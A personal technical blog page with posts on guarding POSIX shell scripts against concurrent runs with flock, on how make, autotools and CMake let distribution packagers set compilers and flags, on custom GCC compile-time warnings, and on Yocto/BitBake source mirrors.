mnd’s home site

Protect Scripts from Concurrent Execution

2025-01-02T00:00:00+00:00

Working with plain old shell scripts often we need to protect them from double execution and we want to make portable guard command.

Rquirements

Change to scripts should be atomic and work without knowledge about script internals
Code should work with POSIX shell, so no bashisms
It should work for scripts that can run daemons without unexpected lock inheritance

Solution

Final solution is to add the following code to the beginning of the script:

[ "${FLOCKER}" != "$0" ] && { exec 9>>/tmp/my-script-group.lock ; flock 9; (exec 9<&- ; env FLOCKER="$0" "$0" "$@" ) ; exit $? ; }

This script would prevent script from double parallel execution. Let’s check how it works

Use lock around whole script code

In order to have lock around all script code with only one line change we should re-run script from this script itself. It made with the following code:

[ "${FLOCKER}" != "$0" ] && { env FLOCKER="$0" "$0" "$@" ; exit $? ; }

if [ "${FLOCKER}" != "$0" ]; then
    env FLOCKER="$0" "$0" "$@"
    exit $?
fi

This command checks that FLOCKER environment variable was not provided during the call and restart script with this variable. When script started under FLOCKER finidhed we exit with its exit code.

Use flock to lock start of the script

Now we can create lock on specific file before we started our script second time

[ "${FLOCKER}" != "$0" ] && { exec 9</tmp/my-script-group.lock ; flock 9; env FLOCKER="$0" "$0" "$@" ; exit $? ; }

if [ "${FLOCKER}" != "$0" ]; then
    exec 9</tmp/my-script-group.lock
    flock 9
    env FLOCKER="$0" "$0" "$@"
    exit $?
fi

In this example we open file "/tmp/my-script-group.lock" with file descriptor “9” and call “flock” on this file descriptor. If no other process called locked on this file then lock would be obtained and released when we’ll exit from our script. If some other process already locked on this file then “flock” command would be blocked until the moment when other process release it’s lock.

Filename to be locked on

In this example I use hard-coded filename that ends with requirement to change filename for each used script. I decided to use it this way because in my environment there was requirement to protect several scripts from concurrent execution between them. If you have only one script you can use the following trick to get lock on script file itself:

if [ -f "$0" ]; then FN="$0"; else FN=$(command -v -- "$0"); fi
exec 9<$FN
...

Note, in case of existed file it’s preferred to open file for reading instead of writing.

Protection from spawned daemons

Final solution have one more modification

[ "${FLOCKER}" != "$0" ] && { exec 9</tmp/my-script-group.lock ; flock 9; ( exec 9<&- ; env FLOCKER="$0" "$0" "$@" ) ; exit $? ; }

if [ "${FLOCKER}" != "$0" ]; then 
    exec 9>>/tmp/my-script-group.lock
    flock 9
    ( exec 9<&- ; env FLOCKER="$0" "$0" "$@" )
    exit $?
fi

This trick required to allow original script to spawn daemons.

Flock would be released when flocked file descriptor would be closed, but in POSIX systems processes spawned with execve inherits parent process file descriptors and flocks. This means that in the following example lock would be released only after 100 seconds:

$ cat lock.sh
(
flock 9 
echo lock obtained $(date +%S) entry $1
sleep 10 &
echo now we want to release lock $(date +%S) entry $1
) 9>>/tmp/my-script-group.lock
$ ./lock.sh 1 ; ./lock.sh 2
lock obtained 21 entry 1
now we want to release lock 21 entry 1
lock obtained 31 entry 2
now we want to release lock 31 entry 2

In the example first run of script finished immediately, but it spawned backgroup process for sleep command which kept the lock for additional 10 seconds. In order to solve it we should close file descriptor before starting subprocesses that can spawn daemon:

if [ "${FLOCKER}" != "$0" ]; then 
    exec 9>>/tmp/my-script-group.lock          # Open file descriptor 9
    flock 9                                    # lock on this file descriptor
    (                                          # Create subshell
        exec 9<&-                              # Close file descriptor 9 in subhsell
        env FLOCKER="$0" "$0" "$@"             # Re-run own script that would not inherit flocks for it subprocesses
    )
    exit $?                                    # When subshell with restarted script finish exit and release lock complitely
fi

Build Systems from Distribution Developer Point of View

2019-05-11T00:00:00+00:00

Distribution developers often solve several tasks:

Add a package to distribution.
Update a package.
Change an implementation or version of the core system dependencies: compiler, kernel, libc, build systems itself.
Gather overall system statistics: compile-time and run-time dependencies between packages, optimization flags used for all packages in the system.
Change a compilation configuration for all packages: Change optimizations from a speed to a size, enable stack guards, enable the “-fPIE” for all applications, etc.

I have an experience with different types of distributions: Yocto-based, rpmspec-based, GNU GUIX. Part of issues (e.g. package creation, extracting compile-time dependencies from recipes) should be solved in distribution-specific manner; other issues are specific to a build system used for the package. Today I want to discuss the latter type of the issues.

Formal Description of Interested Tasks

I will try to describe how the main build systems (plane make, autotools and cmake) are friendly to the following tasks:

To use a custom application as a C or C++ compiler.

It means providing something like “/usr/bin/ccache /opt/local/clang/bin/clang –resource-dir /opt/local/clang/lib/clang/6.0.0 –sysroot /usr/src/build/sysroot” as the compiler command. A build system should use it in correct manner passing each option as a separate argument.
To append compilation flags for shared library sources.

It is useful in cases when we want to enable some specific optimization options or to disable diagnostic errors that was added in new version of a compiler.
To append compilation flags for application sources.

This task differ from flags for shared library sources because flags like the “-fPIE” flag should be passed only for sources of an executable.
To append linking flags in same cases.

There are useful linking flags that can be enabled system-wide: the “–print-map” flag can be used to gather a build information, the “-z,noexecstack” flag can be required by security reasons, etc.

Linker flags divided on executable-related flags like the “-pie” flag and shared library related flags like “-shared” flag in same manner as compilation flags.
To append preprocessor flags.

I do not know cases when we should pass different preprocessor flags for libraries and executables. Therefore I will not distinguish this cases.

I will not describe prepending/replacing all flags provided by build system. As a rule compilers prioritize the last option from a command line and prepending/replacing became much less useful then appending.

Common Methods to Perform Described Tasks

Regardless of the build system you use to create packages for your distribution you always have several methods to solve the tasks described above:

Pass environment variables to whole build. e.g. add export LIBRARY_PATH=/opt/local/gcc/lib/x86_64/6.0.2 before configuration/compilation commands.
Pass specific options to the configuration command. e.g. ./configure --disable-silent-rules or cmake -DCMAKE_VERBOSE_MAKEFILE:BOOL=ON
Pass specific options to the compilation command. e.g. A construction like the make CC="${CC}" can be used to override value pf the CC variable even if it was predefined in the Makefile itself.
Patch sources before configuration. Most of the package build systems supports a source patching as a separate step in an unpack-patch-configure-build-install process and they have a special support to apply patches to sources before configuration.
Modify sources after the a configuration process. There are cases when we want to change files created during the configuratoin process and build systems allows to make such changes.

I will assume that a method with a lower number is a preferred method. The first three methods in most of cases can be used universally for all packages, while the last two methods should be applied on a per-package base.

Make Based Packages

For packages that builds with plane makefiles there are can be two cases: makefiles that use the implicit rules and a makefiles that use custom rules.

Makefiles Based on the Implicit Rules

Consider the following example:

SOURCES = application.c a.c b.c d.c
OBJECTS = $(patsubst %.c,%.o,$SOURCES)
# You should have file with same name as resulting
# application to use implicit linking rules
application: $(OBJECTS) -ldl
a.o : a.h

This code is enough to compile application. All compilation will be made using implicit rules. Implicit make rules allow you pass: CC, CXX as compilers; CPPFLAGS for preprocessor flags; CFLAGS, CXXFLAGS as compilation flags; LDFLAGS for linking flags except -lname option; LDLIBS for additional libraries.

If Makefile does not provide values for standard variables then you can specify values through environment variables. If Makefile provide any values for standard variables (e.g. CFLAGS = -Wall in text of Makefile) then you have no easy way to append additional values to this variables. In this case you must check code of Makefile carefully and decide if you want completely override variable value with make VARIABLE="new value" command or modify variables with patch to Makefile.

Recommendations

In order to provide custom compiler always override C and C++ compiler variables with make CC="c-compiler" CXX="c++-compiler". This code will work even for makefiles that provides own value for the compiler variables. In order to provide custom flags try to export environment variables; if environment variables did not helped then you should consider the code and decide what will be safer: to override variable completely or to patch makefiles.

Makefiles with Own Set of Rules

Often developers writes own rules for compilation:

all: application
application : a.o b.o c.o
    $(CC) -Wl,-z,relro $(LINKER_FLAGS) $^ $(LDLIBS) -o $@
%.o : %.c common.h
    $(CC) $(CPPFLAGS) -fstack-protector $(CFLAGS) -c -o $@ $< 

Or creates make-based build-systems as set of rules that can be configured with variables defined in a makefile. Such systems may look like following code:

LIBRARY = name
SOURCES = a.c b.c c.c
PUBLIC_HEADERS = a.h
PRIVATE_HEADERS = b.h c.h
LIBRARY_TYPE = shared
LIBRARY_CFLAGS = -Wall
include build-system-rules.mk

Makefiles of this types can provide any set of rules and they can use any names for their variables: consider the LINKER_FLAGS name instead of the common LDFLAGS in the example above.

Recommendations

Without knowledge about a particular Makefile code I can suggest same recommendation as for a Makefile that was based on the implicit rules. but if you want to create own make-based-build-system consider the following recommendations that will make much simpler work of distribution developers:

Use standard variables for compilers: CC, CXX. Assume that this variables can be overridden. Do not try to provide a custom behavior based on value of this variables. The following example
```
CC_SAVED := $(CC)
CC := false
rule:
    # Make sure that subdir can't use CC
    $(MAKE) -C subdir 
```
will work in the unexpected manner if user will call make CC=gcc.
For all flags use two variables: one variable with a name specific to your system and one with a standard name. The good example:
```
%.o : %.c
    $(CC) $(MY_CPPFLAGS) $(CPPFLAGS) $(MY_CFLAGS) $(CFLAGS) $< -c -o $@
$(APPNAME) : $(OBJS)
    $(CC) $(MY_LDFLAGS) $(LDFLAGS) $^ -o $@ $(MY_LDLIBS) $(LDLIBS)
```
In this example the application developer should use MY_* flags, while flags without prefix will be used by person who will create package for the application.

Autoconf+Automake Based Packages

The Automake always generate makefiles with the compile commands that made in the following manner:

compilation command:
$(CC) $(automake/autoheader specific flags)            \
    $(either AM_CPPFLAGS or prog_CPPFLAGS) $(CPPFLAGS) \
    $(either AM_CFLAGS or prog_CFLAGS)     $(CFLAGS)   \
    -c -o source.o source.c

link command:
CCLD = $(CC)
$(CCLD) \
    $(either AM_CFLAGS or prog_CFLAGS) $(CFLAGS) \
    $(either AM_LDFLAGS or prog_LDFLAGS) $(LDFLAGS) \
    -o prog $(prog_OBJECTS) $(either prog_LDADD or prog_LIBADD) $(LIBS)

As you can see all the compilation commands have pairs of the flags: automake specific AM_*FLAGS or prog_*FLAGS and user provided *FLAGS. NOTE: AM_*FLAGS are Makefile.am-wide flags, prog_*FLAGS are flags for specific output; it’s good practice to define your per-application flags in the following manner: prog_CPPFLAGS = $(AM_CPPFLAGS) other flags.

If developer try to override *FLAGS through Makefile.am then automake print warning:

warning: 'CFLAGS' is a user variable, you should not override it;
use 'AM_CFLAGS' instead

As result it’s a rare situation when a package code broke a possibility to append flags through an environment variable.

The Automake do not provide a way to pass different flags for executables and shared libraries, but the Libtool is able to filter-out PIE flags from PIC objects compilation flags. As result if you compile a project with the CFLAGS=-fPIE LDFLAGS=-pie flags then applications, automake static libraries, and libtool static libraries will be compiled with PIE flags, while libtool shared libraries will be compiled only with PIC flags. This solution is good enough because the “-fPIE -pie” flags as far as I know is the only flags that must be different between executables and shared libraries.

Recommendations

In most of the cases there will be enough to export environment variables before configuration:

# A configure script will check if a compiler is able to compile a code
# If the test will pass then a user-supplied compiler will be used
export CC="gcc -m64"
export CXX="ccache /usr/bin/g++"
# Will be added after flags defined in Makefile.am's
export CPPFLAGS="-DDEBUG=1"
export CFLAGS="-Wno-format-literal"
export CXXFLAGS="-fpermissive"

./configure && make && make install

There are always some cases when the configuration through environment variables do not work. In this cases you should consider a source code to understand how you should build a project. Use the following rules:

If configure.ac uses non-standard environment variables it’s better to pass it through ./configre argument instead of environment: ./configure CUSTOM_CONFIG=value. In this case ./configure script will be able to memorize it and re-use if the make command will trigger re-configuration.
If configure.ac override your flags try to pass them as make override: make CFLAGS="--flags-from-configure --user-additions".
You can try to patch sources if previous suggestions does not work.

The main case when user-provided flags is not appended or when project add own flag after user-provided is when configure.ac file modify this flags by itself. e.g.

configure.ac:
# In next cases user will lost ability to disable -Wformat warnings through CFLAGS variable
CFLAGS="${CFLAGS} -Wformat=2 -Werror"
AX_APPEND_COMPILE_FLAGS([-Wformat=2 -Werror], [CFLAGS])

If you write own configre.ac then you should prefer an additional variable for configure-provided flags rather then a modification to user flags:

configure.ac:
AX_APPEND_COMPILE_FLAGS([-Wformat=2 -Werror], [APPLICATION_CFLAGS])
AC_SUBST([APPLICATION_CFLAGS])

Makefile.am
AM_CFLAGS = $(APPLICATION_CFLAGS)

CMake Based Packages

The CMake is an other widely used build system. It has some advantages over the Autoconf (the CMake works faster, the Autoconf is able to generate only Makefiles, while the CMake also able to generate “ninja” build scripts and project files for several IDE’s) and I would expect most new software project to choose the CMake as a build system.

The CMake has own set of variables that configure compilation commands, but it also provides some compatibility layer that try to convert old CC/CFLAGS/LDFALGS variables to a default value for the CMake-specific variables. Unfortunately the CMake does not support the Automake concept of User Variables and all your flags are just initial values.

Custom Compiler

In order to compile a C code the CMake uses the following variables:

CMAKE_C_COMPILER – a full path to the compiler.
CMAKE_C_COMPILER_ARG1 – mandatory arguments for all calls to the compiler.
CMAKE_C_COMPILER_LAUNCHER – a compiler launcher. e.g. “ccache”.

Additionally some arguments, that with other build systems can be used as a part of the CC variable, provided through special variables:

CMAKE_C_COMPILER_TARGET – a target architecture that used for cross-compilers, such as the CLang, that supports several targets from the same binary. In case of the CLang compiler this variable contains a value for the --target= key.
CMAKE_SYSROOT – a value for the --sysroot= compiler argument.

If the CMAKE_C_COMPILER variable is not defined then the CMake tried to extract compiler related variables command from the CC variable. First word from this variable used as value for the CMAKE_C_COMPILER variable, other words from the CC variable passed to the CMAKE_C_COMPILER_ARG1 variable. NOTE: If the CMAKE_C_COMPILER variable already supplied somehow then all arguments from the CC variable will be missed. They would not be used as an initial value for the CMAKE_C_COMPILER_ARG1 variable.

Compilation flags

For code compilation the CMake uses three types of variables:

Definitions. New definitions for a compilation can be added with the following commands:
- The target_compile_definitions function can add a new “-DVAR” flag on a per-target base.
- The add_definitions function can add flags globally for all projects that will be defined after this command.
- With modification to the COMPILE_DEFINITIONS target and directory properties.
Include paths. New paths to header files can be added with the following commands:
- The target_include_directories function can add new “-Ipath” or “-isystem path” flags on a per-target base.
- The include_directories function can add new include path for all projects that will be defined after this command.
- With modification to the INCLDUE_DIRECTORIES target and directory properties.
All other compilation flags. New flags can be defined with the following commands:
- Regardless of its name the add_definitions function can add any compilation flag to a compilation command.
- The add_compile_options and target_compile_options function can add compilation flags globally or on a per-target base.
- With modification to the COMPILE_OPTIONS target and directory properties.
- Through the language-specific CMAKE_C_FLAGS variable.
- Through the language- and build-type-specific CMAKE_C_FLAGS_<CMAKE_BUILD_TYPE> variables.
You’ll have the following order for compilation options:
1. ${CMAKE_C_FLAGS}
2. ${CMAKE_C_FLAGS_${CMAKE_BUILD_TYPE}}
3. options added through add_definitions
4. options added through add_compile_options
5. options added through target_compile_options

In order to control a default value of compilation flags you can:

Define the CFLAGS environment variable. This will provide default value for the CMAKE_C_FLAGS cmake variable.
Provide a value for the CMAKE_C_FLAGS variable with the -D key for the cmake configuration command.
Provide values for the both CMAKE_BUILD_TYPE and CMAKE_C_FLAGS_${CMAKE_BUILD_TYPE} variables during configuration.

NOTE: The CMake does not use the CPPFLAGS environment variable at all. Custom pre-processor flags should be either added to CMakeLists.txt files, or passed as compilation flags.

Linking Flags

In order to link binaries the CMake uses the following mechanisms:

Global variables CMAKE_EXE_LINKER_FLAGS, CMAKE_STATIC_LINKER_FLAGS, CMAKE_SHARED_LINKER_FLAGS, CMAKE_MODULE_LINKER_FLAGS and their CMAKE_*_LINKER_FLAGS_<CMAKE_BUILD_TYPE> variants can be used to provide flags for specific types of outputs.
The add_link_options and target_link_options function used to add link options either globally or on a per-target base.
The link_libraries and target_link_libraries function used to add extra libraries during linking. NOTE: If you use the link_libraries function to link with other CMake targets then all compilation and linker flags added to this targets with the PUBLIC or INTERFACE keywords will be inherited by your new targets.

In order to control default value of linker flags you can:

Define the LDFLAGS environment variable. This will provide default value for the CMAKE_EXE_LINKER_FLAGS, CMAKE_SHARED_LINKER_FLAGS, and CMAKE_MODULE_LINKER_FLAGS variables, but not for the CMAKE_STATIC_LINKER_FLAGS variable.
Provide value for the CMAKE_*_LINKER_FLAGS variable with the -D key for the CMake configuration.
Provide values for both the CMAKE_BUILD_TYPE and CMAKE_*_LINKER_FLAGS_${CMAKE_BUILD_TYPE} variables during configuration.

Recommendations

The CMake ability for configuration of compilation and linking flags is very flexible and the CMake provide handy API for developers. Unfortunately the CMake allows to provide only initial values for all used mechanisms during a configuration process. As a result package developers have a limited possibility to control flags without modification to the CMake files itself. My personal recommendations is the following:

If your packaging system does not provide specific CMake support then you should try to use the standard CC, CFLAGS, LDFLAGS environment variables. NOTE: There is no CPPFLAGS support and you should always move your CPPFLAGS to CFLAGS environment variable.
If you have control over your packaging system then you should consider creation of own code that will translate standard environment variables to the CMake variables. In this case you can provide your default values either through separate -D options or through the -DCMAKE_TOOLCHAIN_FILE=/path/to/toolchain.cmake configuration option and the toolchain.cmake file with default configuration.
Consider using of the CMAKE_*_FLAGS_${CMAKE_BUILD_TYPE} variables and try always explicitly provide the CMAKE_BUILD_TYPE for builds.

But still you can control only initial values of variables and new flags from the CMakeLists.txt files often appended to initial values there is high chance that you will fail to provide your flags in sane manner without patches to the CMakeLists.txt files.

Conclusion

With any build system there will be situations that force distribution developers to write patches to the build system files itself, but according to my experience with the Autotools it is much likely that compilation/linking flags can be added just through environment variables.

If you are going to write a new configuration/build system consider the following requirements to make life of distribution developers simpler:

Provide mechanism like the Automake’s User Variables for all flags. Unfortunately the CMake do not have such mechanism.
Provide the way to supply different flags for different types of outputs (executables, shared libraries, plug-ins). The CMake have handy the CMAKE_EXE_LINKER_FLAGS, CMAKE_STATIC_LINKER_FLAGS, CMAKE_SHARED_LINKER_FLAGS, CMAKE_MODULE_LINKER_FLAGS variables for linker flags, but it lacks the same mechanism for compilation flags. In case of the autotools “libtool” have possibility to filter out both inappropriate compilation and linker flags, but this works only for flags that was hard-coded in the libtool code.
Provide the way to override flags completely during compilation. If your build system will be based on the “make” build system then try to use everything through variables: compilers, tools, each types of flags.

Try to avoid partial solutions like in the CMake with Makefile back-end: The CMake allow you re-define compilation flags during compilation with the make C_DEFINES= C_INCLUDES= CFLAGS= parameters, but the CMake does not provide possibility to override a C compiler application or linker flags in same time.

Currently the Autotools build system supports most of the tricks that makes work on a big distribution simpler.

Custom Warnings for C Code

2019-01-07T00:00:00+00:00

As a part of my work for Inango Systems I investigated possibility to create custom warnings for C code and prepared this article.

Motivation

We had a task to investigate a big amount of a C code in order to estimate how many issues we can face in future work with this code. This task had the following properties:

It was a huge amount of code. And it was not possible to investigate it manually or semi-automatically. All the statistics should be gathered automatically.
Big part of this code was obsolete and was not compiled at all. This included two cases: there were files that were not compiled and there was a code in the compiled files that was disabled with preprocessor directives. Our estimations should have been only for the active code, i.e. the one, that is currently compiled and used.
It was not possible to create a run-time test with a full (or at least a big enough) code coverage. All our estimations should have been made at the compile time.

In order to solve this task we decided to add custom compile time warnings through system headers. Only when the work was finished, we’ve discovered that the GNU Libc widely uses the same technique for a -D_FORTIFY_SOURCE support.

Implementation Technique

There is a broadly known technique to stop a compilation on any of the compile-time conditions:

// Starting from C11 there is _Static_assert construction
#define non_zero_constant_argument(x) \
  _Static_assert(x, "Argument should be not zero")
// Before C11 you can declare an impossible array with a constant integer expression
#defime non_zero_constant_argument_pre_C11(x) \
  char static_assert_argument_should_be_not_zero[(x) != 0 ? 1 : -1]

But there is no standard technique to add a compilation warning instead of a compilation error. Luckily, there are compiler-specific ways to generate warnings instead of errors.

GCC Compilation Warnings

Our environment was designed to work with the GCC compiler and we worked only with the GCC to implement custom warnings. The GCC among other things function attributes supports the next attributes that are suitable to emit warnings during the compilation:

void deprected_function() __attribute__((deprecated("custom message"))); will emit a compilation warning on each deprecated_function usage in a code, except function declarations.

void __attribute__((deprecated("custom message"))) warning() { }
int main () {
  // warning: ‘warning’ is deprecated: custom message [-Wdeprecated-declarations]
  warning();
}

Unfortunately, this attribute does not allow to add any conditions for warnings.

void warning_if_false(void *arg) __attribute__((nonnull(1))); will emit a warning if an integer constant expression in the first argument is calculated as zero:

void __attribute__((nonnull(1))) warning_if_false(void * arg) { }
int main () {
  // warning: null argument where non-null required (argument 1) [-Wnonnull]
  warning_if_false((void *)(sizeof(long) == 7));
}

Such conditions allow us to define conditional warnings, but it does not provide the possibility to emit any message related to this warning.

void warning_if_true(int unused, ...) __attribute__((sentinel)); will emit a warning, if an integer constant expression in the last argument is calculated as non-zero value:

void __attribute__((sentinel)) warning_if_true(int unused, ...) { }
int main () {
  // warning: missing sentinel in function call [-Wformat=]
  warning_if_true(0, (void *)(sizeof(long) != 7));
}

This solution in the same manner as the previous one does not allow to write a custom warning message.

int warning() __attribute__((warn_unused_result)); will emit a warning if the function was compiled and the function result was not used in any way:

int __attribute__((warn_unused_result)) warning() { return 0; }
int main () {
  // warning: ignoring return value of ‘warning’, declared with attribute warn_unused_result [-Wunused-result]
  (void)((sizeof(long) != 7) ? warning() : 0);
}

This attribute allows to emit warnings based on a condition, but if we want to provide a custom warning message, we should embed this message into the function name:

int __attribute__((warn_unused_result)) warning_64bit_support_is_unstable() { return 0; }
// warning: ignoring return value of ‘warning_64bit_support_is_unstable’, declared with attribute warn_unused_result [-Wunused-result]
(void)((sizeof(void *) == 8) ? warning_64bit_support_is_unstable() : 0);

int warning() __attribute__((warning("custom message"))); will emit a warning with a custom message if a call to such a function is not eliminated through the dead code elimination or other optimizations:

void __attribute__((warning("custom message"))) warning() { }
int main () {
  // warning: call to ‘warning’ declared with attribute warning: custom message
  (void)((sizeof(void *) != 7) ? warning() : 0);
}

This attribute allows both custom messages and compile-time conditions. And even better: this attribute emits a warning after the dead code elimination and we can use this warning-attributed function both in a conditional block and as integer constant expressions. Consider the following code to understand what benefits it give to us:

void __attribute__((warning("..."))) warning1() { }
int __attribute__((warn_unused_result)) warning2() { return 0; }
if (sizeof(void *) == 7) {
  // Will not emit a warning: dead code elimination will remove if block
  warning1();
  // Will emit a warning: return value ignored
  warning2();
}
// Will not emit a warning: warning2 will be removed on GCC constant folding
(void) ((sizeof(void *) == 7) ? warning2() : 0);

Obtaining Usefull Compile-Time Information

First of all, in order to use this warnings technique for your code, you should have wrappers for all your APIs:

library.c:
void __null_warning() { }
int __internal_do_stuff(int *arg) {
  // do usefull stuff
  return 0;
}

library.h:
extern void __null_warning() __attribute__((warning("function called with NULL argument")))
extern int __internal_do_stuff(int *arg);

// A function can be wrapped with an inlined function to make sure that the GCC will propagate the argument values.
// Inline qualification does not guarantee that the function will be inlined; use an attribute additionally.
static inline int __attribute__((always_inline)) do_stuff(int *arg) {
  if (arg == NULL) {
    __null_warning();
  }
  return __internal_do_stuff(arg);
}

// OR a function can be wrapped with a macro with the GCC Compound Expression.
// https://gcc.gnu.org/onlinedocs/gcc/Statement-Exprs.html
#define do_stuff(arg) ({    \
  if (arg == NULL) {        \
    __null_warning();       \
  }                         \
  __internal_do_stuff(arg); \
})

Suggested code will emit a warning on every do_stuff(0) call. Unfortunately, this code will also emit warnings for the calls like do_stuff(non_constant_argument). In order to create more useful warnings you should consider to use additional GCC built-in functions from the https://gcc.gnu.org/onlinedocs/gcc/Object-Size-Checking.html and the (https://gcc.gnu.org/onlinedocs/gcc/Other-Builtins.html)[https://gcc.gnu.org/onlinedocs/gcc/Other-Builtins.html].

This builtins allowed us to emit the required information from the compiler:

#define do_stuff(arg) ({                                                  \
  if (__builtin_constant_p(arg) && arg == NULL) {                         \
    __called_with_a_null_constant_warning();                              \
  }                                                                       \
  if (!__builtin_types_compatible_p(typeof(arg), int *)) {                \
    __called_with_an_int_pointer();                                       \
  }                                                                       \
  if (__builtin_object_size(arg, 0) == -1) {                              \
    __called_with_a_pointer_to_an_unknown_object_warning();               \
  }                                                                       \
  if (__builtin_object_size(arg, 0) != -1                                 \
      && __builtin_object_size(arg, 0) < 20 ) {                           \
    __called_with_a_pointer_to_an_object_smaller_then_20_bytes_warning(); \
  }                                                                       \
  if (!__builtin_types_compatible_p(typeof(&((arg)[0])), typeof(arg))) {  \
    __called_with_an_array_argument_warning();                            \
  }                                                                       \
  __internal_do_stuff(arg);                                               \
})

This technique can be adjusted for any purposes: the GNU Libc used this technique to find the memory bounds violations in the string functions when compiled with the -D_FORTIFY_SOURCE=1, this technique can be used to warn about a non-recommended API usage (e.g. “in next versions calls with NULL argument will be forbidden”).

Issues and Workarounds

To use the __attribute__((warning("message"))) you should ensure that the attributed function will not be optimized from the code. This can be achieved in two ways:

You can place a definition of warning function to a library and call it from a library header:

library.c:
void library_warning() { }
int __internal_do_stuff(int *arg) {
  // do usefull stuff
  return 0;
}

library.h:
extern void library_warning() __attribute__((warning("Warning message")));
extern int __internal_do_stuff(int *arg);
#define do_stuff(arg) ({ \
  library_warning();     \
  __internal_do_stuff(); \
})

This solution is used by the GNU Libc for the __warn_memset_zero_len diagnostic function.

Or you can disable the optimization of a warning function directly in the header file with another GCC attribute:

library.c:
int __internal_do_stuff(int *arg) {
  // do usefull stuff
  return 0;
}

library.h:
static inline void __attribute__((warning("Warning message"), optimize("O0"))) library_warning() {  }
extern int __internal_do_stuff(int *arg);
#define do_stuff(arg) ({ \
  library_warning();     \
  __internal_do_stuff(); \
})

For Inango code we have selected this solution.

With the code described above all your warnings will suddenly disappear once you install your library.h header to the /usr/include directory. This happens because the GCC suppresses all warnings that were found in the code of system headers. You can bring back your warnings in two ways:

If you use a function wrapper you can use the “artificial” GCC attribute:

library.c:
void library_warning() { }
int __internal_do_stuff(int *arg) {
  // do usefull stuff
  return 0;
}

library.h:
extern void library_warning() __attribute__((warning("Warning message")));
extern int __internal_do_stuff(int *arg);
static inline void __attribute__ ((always_inline, artificial)) do_stuff() {
  library_warning();
  __internal_do_stuff();
}

This solution used by the GNU Libc.

If you use a macro wrapper you should enable “-Wsystem-headers” warnings for your code:

library.c:
int __internal_do_stuff(int *arg) {
  // do usefull stuff
  return 0;
}

library.h:
static inline void __attribute__((warning("Warning message"), optimize("O0"))) library_warning() {  }
extern int __internal_do_stuff(int *arg);
#pragma GCC diagnostic push
#pragma GCC diagnostic warning "-Wsystem-headers"
#define do_stuff(arg) ({ \
  library_warning();     \
  __internal_do_stuff(); \
})
#pragma GCC diagnostic pop

The solution with warnings will conflict with the usage of the “-Werror” compilation flag. As on December 2018 all the GCC versions will fail the compilation with an error if the __attribute__((warning("..."))) code will be compiled with the “-Werror” flag. There is no way to change this behavior. The possible solutions to this issue:
- You can change a code to use the __attribute__((warn_unused_result)) instead:
```
library.c:
int __internal_do_stuff(int *arg) {
  // do usefull stuff
  return 0;
}

library.h:
// this pragma should be global to forcely move this diagnostics from errors to warnings
#pragma GCC diagnostic warning "-Wunused-result"
#pragma GCC diagnostic push
#pragma GCC diagnostic warning "-Wsystem-headers"
static inline void __attribute__((warn_unused_result, optimize("O0"))) library_warning() {  }
extern int __internal_do_stuff(int *arg);
#define do_stuff(arg) ({ \
  (void)((integer_constant_expression_condition) ? library_warning() : 0);     \
  __internal_do_stuff(); \
})
#pragma GCC diagnostic pop
```
- Or you can wait for the next GCC upstream release where we added the solution for the __attribute__((warning(""))) itself and use a new “-Wno-error=attribute-warning” that we submitted to the GCC as a result of the described work.

Final Code Template

Finally, let’s combine all the described work together and show how the custom warnings can be created for a GCC-based code:

        library.c:
        int __internal_do_stuff(int *arg) {
          // do usefull stuff
          return 0;
        }

        library.h:
        #ifndef LIBRARY_H
        #define LIBRARY_H
        
        /* Interpret all the "warning" attributes in a code compiled 
           with this library as warnings, regardless of -Werror or
           -Wno-attribute-warning flags.
           As on Dec 2018, this flag is supported only in GCC trunk */
        #pragma GCC diagnostic warning "-Wattribute-warning"

        /* Declare the internal functions that we will wrap */
        extern int __internal_do_stuff(int *arg);

        /* Create the warning functions with a specific messages.
           Make sure that these functions would not be optimized out from the code.
           Define function as a static to not export the name from the resulting binaries. */
        static inline void __attribute__((warning("Warning message"), optimize("O0"))) library_warning() {  }

        /* Print this warnings even if the library.h is installed to the system headers directory.
           This behavior will be applied only to library.h code.
           Other system headers will not print the warnings */
        #pragma GCC diagnostic push
        #pragma GCC diagnostic warning "-Wsystem-headers"

        /* Wrap all the functions in the macro definitions with the GCC Compound expressions inside.
           Make sure that all the `if' conditions are integer constant expressions. Otherwise,
           there is no guarantees that the compiler will be able to otimize out the failed checks. */
        #define do_stuff(arg) ({                       \
          if (integer_constant_expression_condition) { \
            library_warning();                         \
          }                                            \
          __internal_do_stuff();                       \
        })
        
        #pragma GCC diagnostic pop
        
        #endif /* LIBRARY_H */

Clang Based Solution

There is an alternate solution for the described issue supported in the Clang compiler. In order to emit compile-time warnings in Clang, you can just specify the diagnose-if attribute on the relevant function:

library.h:
int do_stuff(int *arg) {
  // do usefull stuff
  return 0;
}

library.h:
int do_stuff(int *arg) __attribute__((diagnose_if(arg == NULL, "arg is NULL", "warning")));
int do_stuff(int *arg) 
  __attribute__((diagnose_if(__builtin_object_size(arg, 0) == -1, "arg of unknown size", "warning")));

With the Clang __attribute__((diagnose_if(...))) there is no need in additional wrappers (you still should create a wrapper if you want to extract the information about the original type of the argument) and new warnings can be simply added with additional declaration lines.

But the GNU GCC is still the main compiler in GNU/Linux systems and we think that the proposed article will be usable for all the GCC users.

Yocto Mirrors Mechanism

2018-12-28T00:00:00+00:00

As a part of my work for Inango Systems I investigated BitBake support for mirrors (and even provided bugfix as one of the results of this investigation) and prepared this article.

Forewords

The BitBake build utility, adapted by the Yocto Project, allows for flexible configuration of source mirrors for all the remote files required during the build of Yocto distribution. This functionality allows to speed up the distribution build, as well as organize a local backup with sources of all the packages used.

However, this mechanism is rather poorly documented, and we are going to fix this situation in the current article.

BitBake Source Mirrors

The BitBake mirrors mechanism is supported at least in three places:

PREMIRRORS are primary mirrors that will be used before an upstream URI from SRC_URI. It can be used to provide a quick mirrors to speed-up sources downloading.
MIRRORS are additional mirrors that are used when an upstream URI from SRC_URI is not accessible. Creating MIRRORS is a good idea for a long-living distributions, when a distribution can out-live upstream sources of a used software.
SSTATE_MIRRORS are mirrors for prebuilt cache data objects. It can be used to share pre-built objects from CI builds.

The Yocto Project additionally provide the support for the next mechanisms:

own-mirrors.bbclass is a standard way to provide a single pre-mirror for all supported fetchers:
```
 INHERIT += "own-mirrors"
 SOURCE_MIRROR_URL = "http://example.com/my-source-mirror"
```
BB_GENERATE_MIRROR_TARBALLS variable can be defined to “1” to allow reusing DL_DIR from the current build as a mirror for other builds. Without a BB_GENERATE_MIRROR_TARBALLS variable resulting DL_DIR would not provide suitable mirrors for sources fetched from a VCS repositories.
